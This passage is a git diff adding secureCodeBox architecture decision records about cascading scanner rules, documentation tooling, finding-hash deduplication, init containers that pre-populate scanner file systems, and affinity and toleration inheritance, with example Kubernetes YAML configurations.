─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ┘ │ └────────────────────────────────┘ + ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ┘ +``` + +## Consequences + +With the new *hook concept* we open the *phase 3 processing* to a more intuitive and flexible architecture. It is easier to understand because *WebHooks* are already a well known concept. It is possible to keep the existing implementation of the *PersistenceProvider* and integrate them with a lot of other possible processing components in a more general fashion. In the end, this step will result in a lot of additional feature possibilities, which go far beyond the existing ones proposed here. Therefore we only need to implement this concept once in the *secureCodeBox operator* and new ideas for extending the *DataProcessing* will not enforce conceptual or architectural changes. + +Ideas for additional processing hooks: + +- Notifier hooks (*ReadOnlyHook*) e.g., for chat (slack, teams etc.), metric, alerting systems +- MetaData enrichment hooks (*ReadAndWriteHook*) +- FilterData hooks (*ReadAndWriteHook*) (e.g., false/positive handling) +- SystemIntegration hooks (*ReadOnlyHook*) e.g., for ticketing systems like Jira +- CascadingScans hooks (*ReadOnlyHook*) e.g., for starting new security scans based on findings diff --git a/documentation/docs/architecture/09_architecture_decisions/adr_0003.md b/documentation/docs/architecture/09_architecture_decisions/adr_0003.md new file mode 100644 index 0000000000..dadd8e81c0 --- /dev/null +++ b/documentation/docs/architecture/09_architecture_decisions/adr_0003.md @@ -0,0 +1,179 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "ADR-0003: How can we introduce a mechanism to start specialized scans on the results of previous scans?" +sidebar_label: "ADR-0003" +--- +# ADR-0003: How can we introduce a mechanism to start specialized scans on the results of previous scans? + +| <!-- --> | <!-- --> | +|----------------|----------| +| **Status**: | ACCEPTED | +| **Date**: | 2020-05-20 | +| **Author(s)**: | Jannik Hollenbach <Jannik.Hollenbach@iteratec.com>, Robert Seedorff <Robert.Seedorff@iteratec.com>, Sven Strittmatter <Sven.Strittmatter@iteratec.com> | + +## Context + +### Status Quo + +Currently scans by the secureCodeBox are single focused on a specific tool. Combining multiple scans requires manual or scripting by the user to use the results of a scan (e.g. Nmap) as a input for another scanner (e.g. SSLyze) + +### Problem and Question + +How can the results of a scan be used to automatically configure subsequent specialized scans for identified targets. + +In general we want to describe cascading scans like: + +```text ++--------+ +--------+ +--------+ +| scan 1 |-- result -->| scan 2 |-- result -->| scan 3 | ++--------+ +--------+ | +--------+ + | + | +--------+ + +---->| scan 4 | + +--------+ +``` + +A concrete example: + +```text ++----------------+ +-----------------+ +-----------+ +| <<nmap>> | | <<nmap>> | | <<SSL>> | +| find all hosts |-- IP -->| find open ports |-- port 443 -->| check TLS | ++----------------+ +-----------------+ | +-----------+ + | + | +-------------+ + | | <<nikto>> | + +------->| check HTTPd | + +-------------+ +``` + +The solution should fulfill the following criteria: + +- The "rules" used to describe which subsequent scans can be executed should be modular, so that they can be packaged together with the scan types. +- It should be possible for a user to select which scan rules should be applied +- Protections should be in place to ensure that the clusters are not completely overwhelmed by these automatically created scans. Especially circular structures which create a infinite number of scans should be prevented. + +## Decision + +It was decided to implement these rules as Custom Resource Definitions (CRDs) in Kubernetes. This allows the Helm Charts of the scanners to package related rules for the scanner together with their ScanTypes. + +### Defining CascadingRule + +The so called "CascadingRules" consist of a "matches" section which contains one or multiple rules which are compared against findings. When a finding matches a rule the "scanSpec" section will then be used to create a new scan. To customize the scan to match the finding, the \[mustache\](<https://github.com/janl/mustache.js>) templating language +can be used to reference fields of the finding. + +```yaml +apiVersion: "cascading.securecodebox.io/v1" +kind: CascadingRule +metadata: + name: "tls-scans" + labels: + # Described how "invasive" the scan is. + # Possible values: "invasive" or "non-invasive" + # CascadingRules are considered "invasive" when the Scan they start actively sends out packages with attack payloads. + securecodebox.io/invasive: non-invasive + # Described the intensiveness level on a scanning and computational resource level. + # Possible values: "ligh", "medium", "intense" + # CascadingRules are considered more "intensive" when the Scan they start consumes lots of computational resources like RAM, CPU, or Network + securecodebox.io/intensive: light +spec: + matches: + # CascadingRule triggers if a finding matches at least one of the anyOf matchers + # With the first version of this implementation only anyOf would be supported. + # If this turns out to be lacking and other operators (like `allOf` can be introduced without breaking changes) + anyOf: + # define an explicit "port" as finding and a given port number + - category: "Open Port" + attributes: + port: 443 + service: "https" + # define an "port service" finding (any port) + - category: "Open Port" + attributes: + service: "https" + scanSpec: + name: "sslyze" + parameters: ["--regular", "{{attributes.hostname}}"] +``` + +### Using CascadingRules + +By default no cascading Rules will be used. + +```yaml +# Nmap Scan without cascading rules +apiVersion: "execution.securecodebox.io/v1" +kind: Scan +metadata: + name: "portscan-berlin-wifi" + label: + office: berlin + vlan: wifi +spec: + name: "nmap" + parameters: ["-sV", "10.42.0.0/16"] +``` + +To enable cascading rules you need to specify a label selector to select +the cascading rules you’d like + +```yaml +apiVersion: "execution.securecodebox.io/v1" +kind: Scan +metadata: + name: "portscan-berlin-wifi" + label: + office: berlin + vlan: wifi +spec: + cascades: + matchLabels: + # Uses all CascadingRules in the namespace which are labelled as "non-invasive" and a intensiveness level of "light" + securecodebox.io/invasive: non-invasive + securecodebox.io/intensive: light + name: "nmap" + parameters: ["-sV", "10.42.0.0/16"] +``` + +To implicitly enable all cascading rules (not-recommended) a empty label +selector can be used + +```yaml +apiVersion: "execution.securecodebox.io/v1" +kind: Scan +metadata: + name: "portscan-berlin-wifi" + label: + office: berlin + vlan: wifi +spec: + cascades: + # Uses all `CascadingRules` in the namespace + matchLabels: {} + name: "nmap" + parameters: ["-sV", "10.42.0.0/16"] +``` + +The label selectors also allow the more powerful [matchExpression](https://kubernetes.io/docs/concepts/overview/working-with-objects/labels/#set-based-requirement) selectors: + +```yaml +apiVersion: "execution.securecodebox.io/v1" +kind: Scan +metadata: + name: "example.com" +spec: + scanType: nmap + parameters: + - -p22,80,443 + - example.com + cascades: + # Using matchExpression instead of matchLabels + matchExpression: + key: "securecodebox.io/intensive" + operator: In + # This select both light and medium intensity rules + values: [light, medium] +``` diff --git a/documentation/docs/architecture/09_architecture_decisions/adr_0004.md b/documentation/docs/architecture/09_architecture_decisions/adr_0004.md new file mode 100644 index 0000000000..aec9bea284 --- /dev/null +++ b/documentation/docs/architecture/09_architecture_decisions/adr_0004.md @@ -0,0 +1,27 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "ADR-0004: Which framework could be more useful for documentation purposes?" +sidebar_label: "ADR-0004" +--- +# ADR-0004: Which framework could be more useful for documentation purposes? + +| <!-- --> | <!-- --> | +|----------------|----------| +| **Status**: | ACCEPTED (SUPERSEDES [ADR-0001](./adr_0001.md)) | +| **Date**: | 2020-09-29 | +| **Author(s)**: | Daniel Patanin daniel.patanin@iteratec.com | + +## Context + +Since the last major update of our GatsbyJS based website, the original requirements for our ideal webpage have changed. Originally we needed a website, which could present our project briefly and hold the documentation, dynamically build from our main repository. The first aspect has changed quite severe since we aim for an actual marketing oriented homepage now. The second goal stays the same, but changed contextually. We no longer just want to host the documentation, but furthermore want to stay on modern documentation standards and since our team does not want to invest too much time into the documentation site’s development and maintenance, we are looking for a component library or whole framework specialized on documentation. + +## Decision + +We did not evaluate many different frameworks. The journey was quite short in fact. The first documentation oriented framework we looked at was Docusaurus. As I progressed into trying out to build a basic Docusaurus site and copied all documentation files into it, the website actually looked nice and quite finished already, after only a few hours of tinkering. It is that easy and simple to understand, especially with it’s own good documentation. After reviewing this very basic website, we decided to advance this and already try to retrieve the documentation remotely from our main repository. At this point the decision was pretty clear already: If there is no major drawback coming up, Docusaurus is our new framework of choice. And there was no drawback major enough to revoke this decision (yet). Everything we programmatically wanted to achieve, we could do so by basic scripting and we never really have to think about components like the sidebar, navbar etc. since this is all done completely automatically by Docusaurus itself. + +## Consequences + +As simple and easy it sounds, so it is, meaning that since the build is automated to a very big degree, we are *forced* to follow Docusaurus' exact guidelines and mechanics. For now they are almost identical to what we require. And of course we can build custom components and custom pages, but the documentation and blog part of the site are very strict. Since we want to use this website mainly (ideally only) for documentation purposes, we need a separate marketing page. As far as maintenance goes, we mostly need to maintain our custom build scripts. Everything else is very much automated. diff --git a/documentation/docs/architecture/09_architecture_decisions/adr_0005.md b/documentation/docs/architecture/09_architecture_decisions/adr_0005.md new file mode 100644 index 0000000000..b89e00c6ef --- /dev/null +++ b/documentation/docs/architecture/09_architecture_decisions/adr_0005.md @@ -0,0 +1,42 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "ADR-0005: Buying separate marketing oriented webpage" +sidebar_label: "ADR-0005" +--- +# ADR-0005: Buying Separate Marketing Oriented Webpage + +| <!-- --> | <!-- --> | +|----------------|-----------------------------------------------------------------------------------------------| +| **Status**: | DEPRECATED | +| **Date**: | 2020-09-29 | +| **Author(s)**: | Daniel Patanin daniel.patanin@iteratec.com, Sven Strittmatter sven.strittmatter@iteratec.com> | + +:::info +Deprecated since we did some optimizations by marketing specialists some months ago. +::: + +## Context + +As our requirements about our homepage changed we no longer just want to give a simple overview about our project on our landing page as we did with our GatsbyJS based website, but furthermore we require a marketing oriented webpage additionally to our documentation site (for more on that see [???](#ADR-0004)). This marketing page should satisfy following aspects: + +- Modern, ideally timeless, design +- Overview about the secureCodeBox +- Display of our project’s advantages +- Offer for service (prizing) +- Encouragement for contacting us +- Encouragement for contributing + +## Decision + +Since there is no arguable reason to build such a one-pager ourselves, we should buy a ready to go solution for us. We are not aiming to invest extensive time neither in building such a page, nor in gaining the desired design and marketing expertise, and also not hiring experts on this field (all this would actually be more expensive and time consuming than buying a site). Some stores for such pages are: + +- <https://www.templatemonster.com/> +- <https://onepagelove.com/templates> +- <https://themeforest.net/tags/onepage> + +## Consequences + +If we want to change the style or design someday, we probably could not reuse the bought template if it is not a minor change, thus would need to buy another template. We also would have to orient the presentation of the secureCodeBox around the template we decide on, but nowadays we have a ginormous variety to choose from. diff --git a/documentation/docs/architecture/09_architecture_decisions/adr_0006.md b/documentation/docs/architecture/09_architecture_decisions/adr_0006.md new file mode 100644 index 0000000000..73c112e5de --- /dev/null +++ b/documentation/docs/architecture/09_architecture_decisions/adr_0006.md @@ -0,0 +1,40 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "ADR-0006: Provide versioned documentation" +sidebar_label: "ADR-0006" +--- +# ADR-0005: Provide Versioned Documentation + +| <!-- --> | <!-- --> | +|----------------|----------------------------------------------------------------------------------------------------------| +| **Status**: | REJECTED | +| **Date**: | 2020-10-12 | +| **Author(s)**: | Yannik Fuhrmeister <yannik.fuhrmeister@iteratec.com>, Sven Strittmatter <sven.strittmatter@iteratec.com> | + +:::info +Since nearly two years no one cared about versioned documentation, so we reject this proposal. +::: + +## Context + +We want to introduce versioning to be able to provide documentation for multiple versions of the _secureCodeBox_. The tool that we are currently using for documentation is [Docusaurus](https://v2.docusaurus.io/). Docusaurus provides the possibility to maintain multiple versions [out of the box](https://v2.docusaurus.io/docs/versioning/. + +We will need to specify how many versions of the documentation we want to maintain to avoid inconsistencies and overhead. Furthermore, we need to decide which version increments need to have their own branch of documentation. + +## Decision + +- We introduce a new documentation version for every minor version (<https://semver.org/>) to ensure that the documentation is up-to-date. +- We maintain the latest 3 major versions (previous, current, next). +- We maintain the latest minor version for each major version. +- We **do not** maintain patch versions nor multiple minor versions for each major version! +- **Example:** For _secureCodeBox_ versions **1.9.9**, **2.3.2**, **2.3.3** and **3.0.0** the documentation versions would be **1.9.x**, **2.3.x**, and **3.0.x**. +- **TL;DR** We maintain 3 versions of the documentation. + +## Consequences + +- We need to update the documentation version everytime we increment minor or major versions of the _secureCodeBox_ (manually or with action). +- Maintaining the documentation could be more difficult due to now increased number of documentation files. +- Documentation has to be maintained in two repositories because when creating a new version Docusaurus creates a copy of all files in this repository (see <https://v2.docusaurus.io/docs/versioning/#directory-structure>) diff --git a/documentation/docs/architecture/09_architecture_decisions/adr_0007.md b/documentation/docs/architecture/09_architecture_decisions/adr_0007.md new file mode 100644 index 0000000000..41231402bd --- /dev/null +++ b/documentation/docs/architecture/09_architecture_decisions/adr_0007.md @@ -0,0 +1,45 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "ADR-0007: Proposal How to Mark Findings With Hashes to Find Duplicates" +sidebar_label: "ADR-0007" +--- +# ADR-0007: Proposal How to Mark Findings With Hashes to Find Duplicates + +| <!-- --> | <!-- --> | +|----------------|----------------------------------------------------| +| **Status**: | DRAFT | +| **Date**: | 2020-11-25 | +| **Author(s)**: | Sven Strittmatter <Sven.Strittmatter@iteratec.com> | + +**NOTE**: The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in this document are to be interpreted as described in [RFC 2119](https://tools.ietf.org/html/rfc2119). + +## Context + +The secureCodeBox should support the possibility to find duplicate findings easily out of the box. +One use case is that a user want to accept a existing finding and want to ignore the same finding in the future. + +### Assumptions + +- The execution order of *hooks* is unspecified. +- The information if a finding’s *hash* is a duplicate MUST NOT be stored or maintained in the *SCB* S3 storage. +- The *SCB* MUST NOT remove findings: *read-write-hooks* may alter them, but never delete or filter them out. + - Maybe a *read-hooks* MAY decide to not store a finding into an external system. + +## Decision + +- We generate a hash for each finding, so we can compare findings by the hash and identify duplicates. +- This hash MUST be mutable and MAY be altered by *read-write-hooks* because we don’t want to introduce an exception to what a *read-write-hooks* can alter. +- The *parser* MUST generate the initial hash of a finding from some of its attributes (e.g. name, location, category …). + - Each *scanner* MUST define a default set of attributes used for the hashing. + - This set of hashed attributes MAY be overwritten. +- Each *read-write-hook* MUST update the hash as last step because the *hook* MAY change a hashed attribute. + +We implement the hashing step in the *parser* first with feature flag to evaluate this proposal. + +## Consequences + +- We don’t need to introduce an ordering for the *read-write-hooks*. +- The duplicate detection/handling MUST be done in another service with its own data storage. This is because we have no stable hash until the *read-hooks* will be executed and these MUST NOT alter the data in *SCB* itself. But the *read-hooks* MAY decide to not store data into an external system. diff --git a/documentation/docs/architecture/09_architecture_decisions/adr_0008.md b/documentation/docs/architecture/09_architecture_decisions/adr_0008.md new file mode 100644 index 0000000000..181c9ea33a --- /dev/null +++ b/documentation/docs/architecture/09_architecture_decisions/adr_0008.md @@ -0,0 +1,37 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "ADR-0008: Drop the Former Decision To Provide Versioned Documentation" +sidebar_label: "ADR-0008" +--- +# ADR-0008: Drop the Former Decision To Provide Versioned Documentation + +| <!-- --> | <!-- --> | +|----------------|----------| +| **Status**: | ACCEPTED (will SUPERSEDES [ADR-0006](adr_0006.md)) | +| **Date**: | 2021-07-15 | +| **Author(s)**: | Sven Strittmatter <sven.strittmatter@iteratec.com> | + +## Context + +In [ADR-0006](adr_0006.md) we decided to provide and maintain versions according to the major and minor versions of the _secureCodeBox_. Until now we never respected this decision on only provided a HEAD revision of the documentation. Since we have the plan to to a major breaking update to the _secureCodeBox_ we have the urge to decide if we want to version our documentation or not because we **must** make breaking changes to the documentation, so that it will not match older versions of _secureCodeBox_. + +## Decision + +**We do not provide any versions of the documentation!** + +But we tag the documentation repository for **major version increments**, so that one looking for older documentation can checkout an older version. + +### Justification + +- We do not want to invest the work to maintain more than the current version of the documentation. +- We do not want to encourage our customers to **not upgrading** _secureCodeBox_. +- We do not want to confuse our customers with old documentation maybe linked somewhere or preferred in search results. + +## Consequences + +- Someone using an old major version will have incompatible documentation. We strongly advise them to update always to the latest version. +- Someone using an old minor version will have features documented not available. We strongly advise them to update always to the latest version. +- We need to introduce a development branch to ensure that breaking changes are not visible on the site as long as it is not merged in the dev repository diff --git a/documentation/docs/architecture/09_architecture_decisions/adr_0009.md b/documentation/docs/architecture/09_architecture_decisions/adr_0009.md new file mode 100644 index 0000000000..2cd75e50e7 --- /dev/null +++ b/documentation/docs/architecture/09_architecture_decisions/adr_0009.md @@ -0,0 +1,243 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "ADR-0009: Architecture for pre-populating the file system of scanners" +sidebar_label: "ADR-0009" +--- +# ADR-0009: Architecture for pre-populating the file system of scanners + +| <!-- --> | <!-- --> | +|----------------|----------| +| **Status**: | ACCEPTED | +| **Date**: | 2021-10-07 | +| **Author(s)**: | Max Maass <max.maass@iteratec.com>, Jannik Hollenbach <Jannik.Hollenbach@iteratec.com> | + +## Context + +SecureCodeBox should be able to run scanners that require access to the source code of the target. This could include secret scanners like [Gitleaks][gitleaks] or SAST tools like [Semgrep][semgrep]. To achieve this and expose the feature to the user, we need to extend the syntax of the scan definitions and implement the pre-loading functionality. + +The current scanners do not support dynamically loading data from a Git repository (except Gitleaks) or other sources. Thus, we need a solution for retrieving data from a source and exposing it to the scanner, without modifying the scanners or their images. In our view, the best way to achieve this is using [Kubernetes init containers][initc]. They can be used to retrieve data and place it in a volume they share with the scanner, and they can be trivially attached to any existing scanner container using built-in features of Kubernetes. + + +### Question 1: Implementing Different Pre-Population Data Sources + +To be useful, the feature will need to support a number of different data sources. At a minimum, Git repositories and file downloads via curl should be supported, but further data sources may be desireable (e.g., SVN, curl+unzip, en- or decryption of data using openssl CLI, ...). Thus, the extensibility of the pre-populator architecture should be considered. + +#### Option 1: Modular design using CRDs +For scanners, secureCodeBox uses a modular architecture where additional scanners can be added without modifying the controller. This allows people without knowledge of Go to contribute new scanners without worrying about implementation details of the operator, at the price of having to install the scanners individually via helm. + +The pre-populators could be designed in a similar way: A general syntax in the ScanSpec defines which downloader should be started, and parameterizes it using arguments, similar to how the scanners are parameterized. It would use a general-purpose syntax (with the same YAML structure for all downloaders), which can be directly transformed into a Kubernetes specification, like it is done for the scan jobs. Power users can define their own pre-populator jobs, which should be a lot simpler than defining a scanner, as it does not require a parser, sidecar, etc. + +A configuration may look something like this, using a fictional [semgrep][semgrep] scanner job (disregard the `mountPoint` for now, it will be discussed later in the ADR): + +```yaml +apiVersion: "execution.securecodebox.io/v1" +kind: Scan +metadata: + name: "semgrep-juiceshop" +spec: + scanType: "semgrep" + parameters: + - "--config" + - "p/ci" + - "--config" + - "/etc/rules/semgrep-rules.yaml" + - "/etc/repo" + prepopulateFilesystemFrom: + - mountPoint: /etc/repo + prepopulateType: "git" + parameters: + - "--recursive" + - "https://github.com/bkimminich/juice-shop.git" + - "/etc/repo/juice-shop/" + - mountPoint: /etc/rules + prepopulateType: "curl" + parameters: + - "https://example.com/semgrep-rules.yaml" + - "--output" + - "/etc/rules/semgrep-rules.yaml" +``` + +##### Advantages + +- Modular and extensible +- No task-specific business logic inside the controller +- Easy to also support the feature for hooks +- User can specify the exact options they want the tool to use (e.g., git clone with or without submodules, curl with specific authentication headers, ...) +- Consistent architecture with how the scanners are designed + +##### Disadvantages + +- Integration into the controller would require changes in several places (@J12934: Can you elaborate a bit on that?) +- Each pre-populator would have to be installed separately using helm +- Building a "combination" pre-loader like "curl+unzip" may require wrapper scripts, or splitting it into two preloaders (one that downloads and one that unzips). + +#### Option 2: Implementation Inside the Operator + +If we want to avoid adding another CRD and dealing with the overhead of managing the scanners that way (including the overhead of installing the preloaders etc.), the feature can also be implemented directly inside the operator. For this, the ScanSpec could be extended with specific fields for the different pre-populators (i.e., the Git downloader could explicitly ask for the repository, access key, etc., while the curl downloader would have other flags and options). The controller would then translate the spec into a Kubernetes job with the correct parameters and add it as an init container. Optionally, we could also let users specify their own custom jobs that use a container and script of their choice. This would allow them to run special scripts that are specific to their deployment and that would not be useful to send upstream to the project. + +An example configuration could look like this: + +```yaml +apiVersion: "execution.securecodebox.io/v1" +kind: Scan +metadata: +  name: "semgrep-juiceshop" +spec: + scanType: "semgrep" + parameters: + - "--config" + - "p/ci" + - "--config" + - "/etc/rules/semgrep-rules.yaml" + - "/etc/repo" + prepopulateFilesystemFrom: + - mountPoint: /etc/repo + git: + url: "https://github.com/bkimminich/juice-shop.git" + accessToken: "ABC123..." + recurseSubmodules: true + - mountPoint: /etc/rules + http: + url: "https://example.com/semgrep-rules.yaml" + - mountPoint: /etc/repo + custom: + image: "myuser/mypreparationimage" + parameters: + - "my" + - "custom" + - "parameters" +``` + +##### Advantages + +- No need for a new CRD or separate helm installs for all pre-populators +- More beginner-friendly way of specifying what the pre-populator jobs should do +- More approachable method for running custom pre-populator scripts (no need to place a number of YAML files in the right places inside the secureCodeBox directory structure) + +##### Disadvantages + +- Requires implementing core functionality of the feature inside the controller instead of the YAML files +- Experts may prefer to parameterize their Git and curl jobs themselves instead of relying on our flags +- Much higher barrier of entry for contributors that want to send new pre-populator jobs upstream (requires knowledge of the controller) +- Allowing custom pre-populator images is a security concern for the infrastructure in a scenario where secureCodeBox is hosted by one company and used by another (i.e., the SaaS model). + +#### Option 3: Expose the initContainer Config in the ScanSpec CRD + +Another solution would be to simply allow the user to specify their own initContainer(s) in the ScanSpec CRD. This would allow them to create their own, arbitrary pre-populators, completely independently of how we support the feature. There is precedent for this as well: Scanners can define init containers in their `values.yaml` files. The documentation could provide configuration snippets for common tasks as a baseline for users to base their own configurations on. + +An example config may look like this: + +```yaml +apiVersion: "execution.securecodebox.io/v1" +kind: Scan +metadata: +  name: "semgrep-juiceshop" +spec: + scanType: "semgrep" + parameters: + - "--config" + - "p/ci" + - "--config" + - "/etc/rules/semgrep-rules.yaml" + - "/etc/repo" + volumes: + - name: repo + emptyDir: {} + - name: rules + emptyDir: {} + volumeMounts: + - name: repo + mountPath: "/etc/repo" + - name: rules + mountPath: "/etc/rules" + initContainers: + - name: git-clone + image: bitnami/git + command: + - git + - clone + - "--recursive" + - https://github.com/bkimminich/juice-shop.git + - /etc/repo + volumeMounts: + - name: repo + mountPath: "/etc/repo" + - name: curl-rules + image: busybox + command: + - curl + - "--output" + - "/etc/rules/semgrep-rules.yaml" + - "https://example.com/semgrep-rules.yaml" + volumeMounts: + - name: rules + mountPath: "/etc/rules" +``` + +##### Advantages + +- Maximum flexibility: Users can do anything that can be done with init containers +- No need for us to implement any feature-specific code, aside from one change to the ScanJob CRD + +##### Disadvantages + +- Assumes the user is familiar with how to use init containers (although we can of course provide example configurations in the documentation) +- In a scenario where secureCodeBox is hosted by one company and used by another (i.e., the SaaS model), letting users specify their own init containers is a security concern for the infrastructure + + +### Question 2: Specifying Persisted Folders + +Transferring data from the init container to the scanner requires [using volumes that are shared between the init container(s) and the scan job][initcvolumes]. These volumes can be defined in multiple ways. + +#### Option 1: User-managed Kubernetes Volumes + +The easiest solution is to allow the user to specify the volumes and volumeMounts themselves. This is already supported by the ScanSpec CRD, so it would just need to be added to the pre-populator CRD as well. Then, the user can specify exactly which container should see which volume under which path in the file system. This would be the obvious solution if we choose option 3 for question 1 (fully user-specified init containers), but can also work for option 1, and technically also with option 2, although it would likely not be a good fit. + +##### Advantages + +- Full control for the user +- No need to add any custom code to manage volumes +- Validation is handled by Kubernetes + +##### Disadvantages + +- Requires the user to know how to create and handle volumes (although we can provide code snippets in the documentation) +- In a scenario where secureCodeBox is hosted by one company and used by another (i.e., the SaaS model), letting users specify their own volume mounts is a security concern for the infrastructure (Denial of service through resource consumption, mounting host directories, ...). However, this is already possible right now. + + +#### Option 2: Limited User-Managed Volumes + +A variation on option 1 would be to allow the user to specify the names of volumes, but not the type (i.e., we force it to be one of an allow-listed set of types: emptyDir, secret, ...). This would require slightly more validation code, but limit the attack surface from the volume mounts. However, this would likely be a separate ADR, as it would also impose new limitations on scans that do not use the pre-populate filesystem / init container feature. I will thus not consider it in greater detail here. + + +#### Option 3: secureCodeBox-Managed volumes + +Finally, we can also abstract away the details of the Kubernetes volume definitions and simply have the user specify which folders they want to modify with their pre-populate job. An example of such a configuration is given in Option 1 and 2 of Question 1. In this case, the controller would be responsible for determining which volumes are needed, and creating and mounting them to the right containers. While this may seem a deceptively simple concepts, it hides a lot of complexity. + +##### Advantages + +- Does not expose volume definitions to the user, thereby decreasing the attack surface towards malicious users in a SaaS setting +- Does not require the user to know how to define and mount Kubernetes volumes + +##### Disadvantages + +- Requires a lot of edge case handling for the controller (what if one pre-populator wants to access /etc/repo and another /etc/repo/some/folder? Do both get a mount for /etc/repo? What if the folder /etc/repo/some/folder does not exist when the relevant job is started?) +- Has a high capacity for causing unintuitive and hard-to-debug issues for the user, who cannot benefit from Kubernetes documentation on volumes to understand and resolve them +- Reduces flexibility for power users + + +## Decision + +We decided to utilize the built-in `initContainer` functionality of Kubernetes and expose it through the ScanTypes, combined with the existing syntax for volume management. Information on how to use the feature will be added to the documentation to explain how common operations (Git clone, etc.) can be performed, for people who do not have experience with Kubernetes init containers. + +## Consequences + +The possibility of using init containers adds a large number of new possible features to the secureCodeBox, and lays the groundwork for adding new types of scanners. We will gather experience with how the feature is used, and may come back to the architecture and make changes if a simpler interface is desired. + +[initc]: https://kubernetes.io/docs/concepts/workloads/pods/init-containers/ +[initcvolumes]: https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-initialization/#create-a-pod-that-has-an-init-container +[gitleaks]: https://www.securecodebox.io/docs/scanners/gitleaks/ +[semgrep]: https://github.com/returntocorp/semgrep diff --git a/documentation/docs/architecture/09_architecture_decisions/adr_0010.md b/documentation/docs/architecture/09_architecture_decisions/adr_0010.md new file mode 100644 index 0000000000..d8db476e93 --- /dev/null +++ b/documentation/docs/architecture/09_architecture_decisions/adr_0010.md @@ -0,0 +1,93 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "ADR-0010: Custom Inheritance Behavior for Affinity and Tolerations" +sidebar_label: "ADR-0010" +--- +# ADR-0010: Custom Inheritance Behavior for Affinity and Tolerations + +| <!-- --> | <!-- --> | +|----------------|----------| +| **Status**: | ACCEPTED | +| **Date**: | 2021-11-22 | +| **Author(s)**: | Max Maass <max.maass@iteratec.com> | + +## Context + +Kubernetes-based cloud environments allow controlling which nodes are used for which workloads through two mechanisms: [Affinity][affinity] and [Tolerations][tolerations]. +These can be selected by setting them in the Kubernetes job. + +### Problem 1: Sources of Configuration + +The secureCodeBox operator is managing Kubernetes jobs for us, and templating their values from the provided `Scan` (for a concrete scan), `ScanType` (for a type of scan, e.g. nmap), `ParseDefinition` (for the parser related to a scan), or `ScanCompletionHook` (for a hook) into the job itself. +Since they each pull information from different places, supporting affinity and tolerations for all of them requires adding them in multiple locations. +Generally, such settings are pulled into the job from one of two (or in some cases three) places: +- The helm values (configured via the values.yaml during install of the `ScanType`, `ParseDefinition` or `ScanCompletionHook`) +- The `Scan` specification for the running scan +- The `CascadingScan` specification when creating a cascaded scan (or, more precisely: both the `Scan` spec of the parent scan and whatever information is given in the `ScanSpec` of the `CascadingScan`) + +Specified as a table, this is where values for the different jobs scheduled by the operator normally come from: + +| Job type | Helm values | `Scan.spec` | `CascadingScan.spec.scanSpec` | +|----------|-------------|-------------|-------------------------------| +| Scan | ✅ | ✅ | ✅ | +| Parse | ✅ | |  | +| Hook | ✅ | |  | + +This presents us with a problem: All three job types should be configurable with an affinity and tolerations, but two of them only read their relevant configuration from the helm values (provided during install). +This makes it impossible to ensure that all jobs triggered by a single `Scan` use a specific affinity or toleration (which may be different from the default). +We can address this issue in two ways: + +#### Option 1: Accept And Move On +One option is to accept that this is the case and leave it unchanged. +This is unsatifactory, as affinity and tolerations are a powerful tool, not only for controlling the cost of cloud deployments (by using cheaper node types, like preemptible nodes), but also for other aspects like controlling the geographic location of nodes, the presence of special node features, and other aspects. +In some cases, there may be no one valid default value for a single `ScanType` that is correct for all `Scan`s using it. +Additionally, for other features that can have defaults set by the helm values, it is possible to add to these defaults using fields in the `Scan` definition. + +#### Option 2: Use Affinity and Tolerations from Scan in all Jobs +The other option is to deviate from the usual method of setting values for the jobs by making all three types of jobs (scans, parsers and hooks) use the affinity and tolerations defined in the `Scan` (_if_ it defines them), and fall back to the defaults from the Helm values otherwise. +This allows the user to specify affinity and tolerations in one place (the `Scan`), and be confident that any jobs started by the `Scan` will use the same affinity and toleration settings. +The downside is that now, values set in the `Scan` will influence the execution of parsers and even hooks, which is different from the behavior of the system in other places, where settings on a `Scan` will not impact the hooks and parsers. + +To summarize, this would make the table look as follows: + +| Job type | Helm values | `Scan.spec` | `CascadingScan.spec.scanSpec` | +|----------|-------------|-------------|-------------------------------| +| Scan | ✅ | ✅ | ✅ | +| Parse | ✅ | ✅ |  | +| Hook | ✅ | ✅ |  | + +(There are no checkmarks on the `CascadingScan.spec.scanSpec` column for parser and hook because it is merged into the `Scan.spec` when creating the cascaded scan. From there, it will influence the parser and hook the same way it would if it had been directly added to the parent `Scan`.) + +### Problem 2: Merging vs. Replacing Defaults +Normally, defaults set in the helm values are merged with any additional values provided in the `Scan`, and the same merging behavior governs combining the `Scan.spec` of the triggering scan with the `CascadingScan.spec.scanSpec` of a cascading scan (assuming inheritance is enabled). +However, since the [affinity is defined as a deeply nested dictionary][affinity], merging is both technically challenging and may lead to unexpected results. +In the worst case, it can lead to an invalid configuration, or one that is impossible to schedule because of conflicting requirements. +It is thus advisable to replace any default affinity with one that is specified in the `Scan.spec` (for Helm values) or the `CascadingScan.spec.scanSpec` (for cascaded scans), instead of attempting to merge them. +However, this raises the question of how to handle tolerations. + +#### Option 1: Consistency With Other Values +One option is to have it behave in the same way it is done for labels, environmental variables, etc.: merging the default with the values provided in the `Scan`. +The downside of this approach is that it is purely "additive": It is never possible to create a set of tolerations that does not include the default. +Additionally, it is inconsistent with the behavior of the affinity, which is the most closely related feature. + +### Option 2: Consistency with Affinity +The alternative is to replace instead of merge for the tolerations as well. +This is 